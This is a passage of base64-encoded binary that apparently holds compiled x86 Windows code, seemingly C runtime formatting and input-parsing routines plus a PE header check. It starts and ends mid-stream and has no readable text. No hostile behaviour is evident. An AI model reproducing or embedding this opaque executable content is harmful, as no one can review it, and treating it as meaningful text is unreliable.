RD/JciSARCL/1WL7IN9DAB3E4tFCHIFg/j/dwmLTRCJATPAXcOLRRCDCP+4FgIHgF3Di/9Vi+yLRQj3ZQz/dRBSUOjA////g8QMXcP2QQxAdAaDeQgAdCT/SQR4C4sRiAL/AQ+2wOsMD77AUVDoN0YAAFlZg/j/dQMJBsP/BsOL/1WL7FaL8OsTi00QikUI/00M6LX///+DPv90BoN9DAB/515dw4v/VYvs9kcMQFNWi/CL2XQzg38IAHUti0UIAQbrLIoD/00Ii8/off///0ODPv91FP8VFJMBEIM4KnUPi8+wP+hj////g30IAH/UXltdw4v/VYvsg+wooQDAAhAzxYlF/ItFCIlF2DPAQFeLfQyERRx0BINtFCD2RRyAxkXcJXQHagLGRd0jWFbGRAXcLmoKjUQF3VD/dRj/FfiSARCNRdyDxAyNcAGKCECEyXX5ik0UK8aITAXcxkQF3QCLRRCNdAf/xgYAUVGLTdjdAY1N3N0cJFFQV/8V/JIBEIPEFIA+AF51CIXAfgQzwOsGahbGBwBYi038M81f6EHz///Jw4v/VYvsg+wMoQDAAhAzxYlF/FNWi3UIV4t9DDPbO/t1FDldEHYPO/MPhKoAAACJHumjAAAAO/N0A4MO/4F9EP///392Hv8VFJMBEGoWWVNTU1NTi/GJCOjR8v//g8QUi8brd/91FI1F9FD/FfSSARA7w1lZfSU7+3QSOV0Qdg3/dRBTV+jO/f//g8QM/xUUkwEQaipZiQiLwes/O/N0AokGOUUQfSA7+3QSOV0Qdg3/dRBTV+ie/f//g8QM/xUUkwEQaiLrhzv7dA5QjUX0UFfoiP3//4PEDDPAi038X14zzVvoWPL//8nDi/9Vi+yB7GgCAAChAMACEDPFiUX8i0UIU4tdDFYz9leLfRCJhbT9//+Jvdz9//+Jtbj9//+JtfD9//+Jtcz9//+Jtej9//+JtdD9//+JtcT9//+JtbD9//+Jtcj9//87xnUh/xUUkwEQVlZWVlbHABYAAADoy/H//4PEFIPI/+lACgAAO95024oLibXY/f//ibXg/f//ibXA/f//ibW8/f//iI3v/f//hMkPhA4KAABDObXY/f//iZ2g/f//D4zmCQAAisEsIDxYdw8PvsEPtoAYlAEQg+AP6wIzwIuVwP3//2vACQ+2hBA4lAEQwegEiYXA/f//g/gID4Rk////agdaO8IPh1YJAAD/JIWMQgEQg43o/f///4m1xP3//4m1sP3//4m1zP3//4m10P3//4m18P3//4m1yP3//+ktCQAAD77Bg+ggdEqD6AN0NoPoCHQlSEh0FYPoAw+FAAkAAION8P3//wjpAgkAAION8P3//wTp9ggAAION8P3//wHp6ggAAIGN8P3//4AAAADp2wgAAION8P3//wLpzwgAAID5KnUriweDxwQ7xom93P3//4mFzP3//w+NsQgAAION8P3//wT3ncz9///pnwgAAIuFzP3//2vACg++yY1ECNCJhcz9///phAgAAIm16P3//+l5CAAAgPkqdSWLB4PHBDvGib3c/f//iYXo/f//D41bCAAAg43o/f///+lPCAAAi4Xo/f//a8AKD77JjUQI0ImF6P3//+k0CAAAgPlJdE+A+Wh0PoD5bHQYgPl3D4UcCAAAgY3w/f//AAgAAOkNCAAAgDtsdRBDgY3w/f//ABAAAOn4BwAAg43w/f//EOnsBwAAg43w/f//IOngBwAAigM8NnUXgHsBNHURQ0OBjfD9//8AgAAA6cMHAAA8M3UXgHsBMnURQ0OBpfD9////f///6agHAAA8ZA+EoAcAADxpD4SYBwAAPG8PhJAHAAA8dQ+EiAcAADx4D4SABwAAPFgPhHgHAACJtcD9//8PtsFQibXI/f///xUIkwEQWYXAdCiLjbT9//+Khe/9//+Ntdj9///ol/r//4oDQ4iF7/3//4TAD4RIBwAAi420/f//ioXv/f//jbXY/f//6G/6///pFwcAAA++wYP4ZA+PFgIAAA+EZwIAAIP4Uw+P8gAAAA+EgAAAAIPoQXQQSEh0WEhIdAhISA+FRQUAAIDBIMeFxP3//wEAAACIje/9//+DjfD9//9AObXo/f//jYX0/f//iYXk/f//uAACAACJhaz9//8PjTUCAADHhej9//8GAAAA6ZQCAAD3hfD9//8wCAAAD4WYAAAAgY3w/f//AAgAAOmJAAAA94Xw/f//MAgAAHUKgY3w/f//AAgAAIuN6P3//4P5/3UFuf///3+DxwT3hfD9//8QCAAAib3c/f//i3/8ib3k/f//D4RkBAAAO/51C6EUwAIQiYXk/f//i4Xk/f//x4XI/f//AQAAAOkyBAAAg+hYD4SNAgAASEh0eSvCD4Qn////SEgPhVEEAACDxwT3hfD9//8QCAAAib3c/f//dDAPt0f8UGgAAgAAjYX0/f//UI2F4P3//1DoZvr//4PEEIXAdB/HhbD9//8BAAAA6xOKR/yIhfT9///HheD9//8BAAAAjYX0/f//iYXk/f//6egDAACLB4PHBIm93P3//zvGdGSLcAQz/zv3dFsPtwhmOUgCD4KMBQAA94Xw/f//AAgAAA+3wXQuM8mL0PfSQYTRD4RuBQAAi9b30oTRD4RiBQAAibXk/f//0eiJjcj9///pgAMAAIm9yP3//4m15P3//+lvAwAAoRDAAhCJheT9//+NUAGKCECEyXX5K8LpUwMAAIP4cA+PgAEAAA+EaAEAAIP4ZQ+MQQMAAIP4Zw+OBv7//4P4aXQxg/huD4S9+v//g/hvD4UhAwAA9oXw/f//gMeF4P3//wgAAAB0HYGN8P3//wACAADrEYON8P3//0DHheD9//8KAAAAi4Xw/f//qQCAAAAPhG8BAACLB4tXBIPHCOmXAQAAdRGA+Wd1Z8eF6P3//wEAAADrWzmF6P3//34GiYXo/f//u6MAAAA5nej9//9+Oou16P3//4HGXQEAAFb/FUSTARBZio3v/f//iYW8/f//hcB0DomF5P3//4m1rP3//+sOiZ3o/f//6waKje/9///2hfD9//+AdAqBjcT9//+AAAAAiwf/tcT9//+LteT9////tej9//+DxwiJhZj9//+LR/yJhZz9//8PvsFQ/7Ws/f//jYWY/f//VlCJvdz9///opff//4PEGIA+LXUQgY3w/f//AAEAAP+F5P3//4uF5P3//41QAYoIQITJdfnpgv7//8eF6P3//wgAAACJlbj9///rJIPocw+EA/3//0hID4TE/v//g+gDD4W2AQAAx4W4/f//JwAAAPaF8P3//4DHheD9//8QAAAAD4Sk/v//ioW4/f//BFHGhdT9//8wiIXV/f//x4XQ/f//AgAAAOmA/v//qQAQAAAPhYb+//+DxwSoIHQXib3c/f//qEB0Bg+/R/zrBA+3R/yZ6xKoQItH/HQDmesCM9KJvdz9///2hfD9//9AdBs71n8XfAQ7xnMR99iD0gD32oGN8P3//wABAAD3hfD9//8AkAAAi9qL+HUCM9uDvej9//8AfQzHhej9//8BAAAA6xqDpfD9///3uAACAAA5hej9//9+BomF6P3//4vHC8N1BiGF0P3//41184uF6P3///+N6P3//4XAfwaLxwvDdC2LheD9//+ZUlBTV+ik9P//g8Ewg/k5iZ2s/f//i/iL2n4GA424/f//iA5O672NRfMrxkb3hfD9//8AAgAAiYXg/f//ibXk/f//dGGFwHQHi86AOTB0Vv+N5P3//4uN5P3//8YBMEDrPklmOTB0BkBAO8519CuF5P3//9H46yg7/nULoRDAAhCJheT9//+LheT9///rB0mAOAB0BUA7znX1K4Xk/f//iYXg/f//g72w/f//AA+FZgEAAIuF8P3//6hAdDKpAAEAAHQJxoXU/f//LesYqAF0CcaF1P3//yvrC6gCdBHGhdT9//8gx4XQ/f//AQAAAIudzP3//yud4P3//yud0P3///aF8P3//wx1F/+1tP3//42F2P3//1NqIOiq9P//g8QM/7XQ/f//i720/f//jYXY/f//jY3U/f//6LD0///2hfD9//8IWXQb9oXw/f//BHUSV1NqMI2F2P3//+ho9P//g8QMg73I/f//AHRxg73g/f//AH5oi4Xg/f//i7Xk/f//iYWs/f//D7cG/42s/f//UGoGjUX0UI2FpP3//0ZQRuhI9f//g8QQhcB1KDmFpP3//3Qg/7Wk/f//jYXY/f//jU306Cb0//+Dvaz9//8AWXW16yGDjdj9////6xj/teD9//+LjeT9//+Nhdj9///o+vP//1mDvdj9//8AfBv2hfD9//8EdBJXU2ogjYXY/f//6LLz//+DxAyDvbz9//8AdBT/tbz9////FTCTARCDpbz9//8AWYudoP3//4u93P3//zP2igOIhe/9//+EwHQvisjpL/b///8VFJMBEMcAFgAAADPAUFBQUFDp2/X///8VFJMBEFdXV1dX6cX1//85tcD9//90DYO9wP3//wcPhaX1//+Lhdj9//+LTfxfXjPNW+iF5///ycOQtDoBEMk4ARD5OAEQVzkBEKI5ARCtOQEQ8jkBEA07ARCL/1WL7IPsIFeLfQyD//91CcdF5P///3/rK4H/////f3Yg/xUUkwEQxwAWAAAAM8BQUFBQUOgW5///g8QUg8j/62qJfeRTVv91FIt1CP91EI1F4FCJdeiJdeDHRexCAAAA6Kb0//+L2DPAg8QMO9iIRD7/fRE5ReR8LTvwdCU7+HYhiAbrHf9N5HgHi03gi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8eF9Pv//wEAAADrUzmF9Pv//34GiYX0+///v6MAAAA5vfT7//9+OIu19Pv//4HGXQEAAFb/FUSTARBZi43k+///iYW4+///hcB0DomF8Pv//4m1zPv//+sGib30+///9oX4+///gHQKgY3I+///gAAAAIsD/7XI+///i7Xw+////7X0+///g8MIiYWY+///i0P8iYWc+///D77BUP+1zPv//42FmPv//1ZQiZ3o+///6Cbr//+DxBiAPi11EIGN+Pv//wABAAD/hfD7//+LhfD7//+NUAGKCECEyXX56Y3+//+JlfT7///HhbT7//8HAAAA6ySD6HMPhND8//9ISA+Ey/7//4PoAw+FvgEAAMeFtPv//ycAAAD2hfj7//+Ax4Xk+///EAAAAA+Eq/7//2owWGaJhcT7//+LhbT7//+DwFFmiYXG+///x4Xc+///AgAAAOmC/v//qQAQAAAPhYj+//+DwwSoIHQXiZ3o+///qEB0Bg+/Q/zrBA+3Q/yZ6xKoQItD/HQDmesCM9KJnej7///2hfj7//9AdBs7138XfAQ7x3MR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+gd6P//g8Ewg/k5iZ2k+///i/iL2n4GA420+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dF6FwHQHi8aAODB0U/+N8Pv//4uF8Pv///+F7Pv//8YAMOs8hdt1C6EUwAIQiYXw+///i4Xw+///x4XU+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g72s+///AA+FcwEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWWaJjcT7///Hhdz7//8BAAAAi7XQ+///K7Xs+///K7Xc+///ibWk+///qAx1F/+12Pv//42F4Pv//1ZqIOgg9v//g8QM/7Xc+///i53Y+///jYXE+///UI2F4Pv//+gr9v//9oX4+///CFlZdBv2hfj7//8EdRJTVmowjYXg+///6Nz1//+Dx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wQAAMaFJf3//wHp/wQAAGotWDPbZjuFPP3//3UNi40c/f//ZokBi9/rDGorWGY7hTz9//91If+NMP3///+1KP3///+FNP3//+irJAAAD7fAWYmFPP3//4O9FP3//wB1B4ONMP3////3hTz9//8A/wAAD4WNAAAAD7aFPP3//1D/FTyTARBZhcB0eouFMP3///+NMP3//4XAdGpmD76FPP3//4uNHP3///+FIP3//2aJBFmNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6ND2//+DxAyFwA+E2wkAAP+1KP3///+FNP3//+gJJAAAD7fAWYmFPP3//6kA/wAAD4Rz////x4Xw/P//LgAAAP8VAJMBEIsNDJMBEP8x/zCNhfD8//9Q/xUQkwEQD7eF8Pz//w++jTz9//+DxAw7wQ+FBwEAAIuFMP3///+NMP3//4XAD4TzAAAA/7Uo/f///4U0/f//6I8jAACLjRz9//8Pt8CJhTz9//9mi4Xw/P//ZokEWY2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///o//X//4PEEIXAD4QKCQAA94U8/f//AP8AAA+FjAAAAA+2hTz9//9Q/xU8kwEQWYXAdHmLhTD9////jTD9//+FwHRpi4Uc/f//ZouNPP3///+FIP3//2aJDFiNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6In1//+DxAyFwA+ElAgAAP+1KP3///+FNP3//+jCIgAAD7fAWYmFPP3//6kA/wAAD4R0////g70g/f//AA+ElQEAAGplWGY7hTz9//90EGpFWGY7hTz9//8PhXkBAACLhTD9////jTD9//+FwA+EZQEAAIuNHP3//2plWGaJBFmNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6O30//+DxAyFwA+E+AcAAP+1KP3///+FNP3//+gmIgAAWQ+3wGotWYmFPP3//2Y7yHUuUYuNHP3//1hmiQRZjYUE/f//UI2FQP3//1BDU+ie9P//g8QMhcAPhKkHAADrDGorWGY7hTz9//91M4uFMP3///+NMP3//4XAdQghhTD9///rG/+1KP3///+FNP3//+ixIQAAD7fAWYmFPP3///eFPP3//wD/AAAPhYwAAAAPtoU8/f//UP8VPJMBEFmFwHR5i4Uw/f///40w/f//hcB0aYuFHP3//2aLjTz9////hSD9//9miQxYjYUE/f//UI2FQP3//1BDU429HP3//421AP3//+jn8///g8QMhcAPhPIGAAD/tSj9////hTT9///oICEAAA+3wFmJhTz9//+pAP8AAA+EdP////+1KP3///+NNP3///+1PP3//+hu9P//g70g/f//AFlZD4SmBgAAgL0n/f//AA+F7gUAAIu9AP3//4u1HP3///+FCP3//zPAjXw/AldmiQRe/xVEkwEQi9hZhdsPhGsGAABXVlP/FeiSARD/tfD8//8PvoUu/f//U/+1+Pz//0hQ6IoeAABT/xUwkwEQg8Qg6Y0FAACDvRT9//8AahBYD4WCAQAA/4Uw/f//6XcBAACLxoPocA+ECQIAAIPoAw+EVwEAAEhID4T/AQAAg+gDD4Qy+///g+gDdDVmi4U8/f//i5UY/f//ZjkCD4W2BQAA/o0m/f//hMkPhSQFAACLheT8//+Jhez8///pEwUAAGpA6QcBAABqK1hmO4U8/f//dTX/jTD9//91EoO9FP3//wB0CcaFO/3//wHrG/+1KP3///+FNP3//+i/HwAAD7fAWYmFPP3//2owWGY7hTz9//8PhboBAAD/tSj9////hTT9///olB8AAFkPt8BqeFmJhTz9//9mO8h0UGpYWWY7yHRIib0g/f//g/54dBuDvRT9//8AdA7/jTD9//91Bv6FO/3//2pv613/tSj9////jTT9//9Q6Lzy//9Zx4U8/f//MAAAAOlGAQAA/7Uo/f///4U0/f//6CEfAACDvRT9//8AD7fAWYmFPP3//3QVg60w/f//Ajm9MP3//30G/oU7/f//anhe6QYBAABqIIO9FP3//wBYdAILx4C9L/3//wB+A4PIAoTJdAODyASD/nt1QI2NCP3//1H/tej8//+Njfj8////tSj9////tTD9//9RjY00/f//UY2NPP3//1GNjRj9//9RUOg69P//g8Qk6zb/tej8//+NjTz9////tTD9//+NlQj9//9Ri40o/f//agBQjZ34/P//jb00/f//6B3y//+DxBSFwA+FDgQAAOleAwAAxoUu/f//AWotWGY7hTz9//91CcaFJf3//wHrDGorWGY7hTz9//91Nf+NMP3//3USg70U/f//AHQJxoU7/f//Aesb/7Uo/f///4U0/f//6PUdAAAPt8CJhTz9//9Zg738/P//AA+EiwEAAIC9O/3//wAPhU0BAAC7AP8AAIP+eA+EgQAAAIP+cHR8hZ08/f//D4UVAQAAD7aFPP3//1D/FTyTARBZhcAPhP4AAACD/m91MWo4WGY7hTz9//8PhukAAACLhQz9//+LjRD9//8PpMEDweADiYUM/f//iY0Q/f//63pqAGoK/7UQ/f///7UM/f//6KUbAACJhQz9//+JlRD9///rV4WdPP3//w+FmQAAAA+2hTz9//9Q/xUEkwEQWYXAD4SCAAAAi4UM/f//i40Q/f///7U8/f//D6TBBMHgBImFDP3//4mNEP3//+g48P//D7fAWYmFPP3//w+3hTz9////hSD9//+D6DCZAYUM/f//EZUQ/f//g70U/f//AHQI/40w/f//dDn/tSj9////hTT9///orBwAAA+3wFmJhTz9///p0f7///+1KP3///+NNP3///+1PP3//+gA8P//WVmAvSX9//8AD4QtAQAAi4UM/f//i40Q/f//99iD0QD32YmFDP3//4mNEP3//+kJAQAAgL07/f//AIud9Pz//w+F5QAAAL8A/wAAg/54dEeD/nB0QoW9PP3//w+FsQAAAA+2hTz9//9Q/xU8kwEQWYXAD4SaAAAAg/5vdRVqOFhmO4U8/f//D4aFAAAAweMD6zhr2wrrM4W9PP3//3VzD7aFPP3//1D/FQSTARBZhcB0YP+1PP3//8HjBOgJ7///D7fAWYmFPP3//w+3hTz9////hSD9//+DvRT9//8AjVwD0Imd9Pz//3QI/40w/f//dDn/tSj9////hTT9///ogxsAAA+3wFmJhTz9///pOf////+1KP3///+NNP3///+1PP3//+jX7v//WVmAvSX9//8AdAj324md9Pz//4P+RnUHg6Ug/f//AIO9IP3//wAPhPIAAACAvSf9//8AdT7/hQj9//+Lnfj8//+LhfT8//+Dvfz8//8AdBOLhQz9//+JA4uFEP3//4lDBOsQgL0u/f//AHQEiQPrA2aJA4OFGP3//wL+hSb9//+LtRj9//8z/+sl/7Uo/f///4U0/f//6MIaAABZZosOD7fARkaJhTz9//9mO8h1Ybj//wAAZjuFPP3//3UNZoM+JXVbZoN+Am51VA+3BmY7xw+FPPL//+tG/7Uo/f///7U8/f//6zHGAwD/FRSTARDHAAwAAADrJ/+1KP3///+1PP3//+jP7f//ib3g/P//6wz/tSj9//9Q6Lvt//9ZWYO9BP3//wFbdQ3/tRz9////FTCTARBZuP//AABmO4U8/f//dRSLhQj9//+FwHUsOIUm/f//dSTrIoO94Pz//wF1E/8VFJMBEIu9CP3//zP26V3x//+LhQj9//9fi038M81e6JvG///Jw4v/VYvsi0UIg+wgVjP2O8Z1Hv8VFJMBEFZWVlZWxwAWAAAA6F/G//+DxBSDyP/rNTl1EHTdi00Mgfn///8/d9L/dRSJRej/dRCJReCNBAmJReSNReBQx0XsSQAAAOhZ8P//g8QMXsnDzMzMU1G7GMACEOsLU1G7GMACEItMJAyJSwiJQwSJawxVUVBYWV1ZW8IEAP/Qw8zMzMzMi/9Vi+yLTQi4TVoAAGY5AXQEM8Bdw4tBPAPBgThQRQAAde8z0rkLAQAAZjlIGA+UwovCXcPMzMzMzMzMzMzMzIv/VYvsi0UIi0g8A8gPt0EUU1YPt3EGM9JXjUQIGIX2dhuLfQyLSAw7+XIJi1gIA9k7+3IKQoPAKDvWcugzwF9eW13Dagho+JoCEOh4AAAAg2X8AL4AAAAQVuhh////WYXAdD2LRQgrxlBW6JD///9ZWYXAdCuLQCTB6B/30IPgAcdF/P7////rIItF7IsAiwAzyT0FAADAD5TBi8HDi2Xox0X8/v///zPA6F4AAADD/yVAkwEQ/yVIkwEQ/yVMkwEQM8BAwgwAaHFlARBk/zUAAAAAi0QkEIlsJBCNbCQQK+BTVlehAMACEDFF/DPFUIll6P91+ItF/MdF/P7///+JRfiNRfBkowAAAADDi03wZIkNAAAAAFlfX15bi+VdUcOL/1WL7P91FP91EP91DP91CGgOKgEQaADAAhDoL8j//4PEGF3Di/9Vi+yD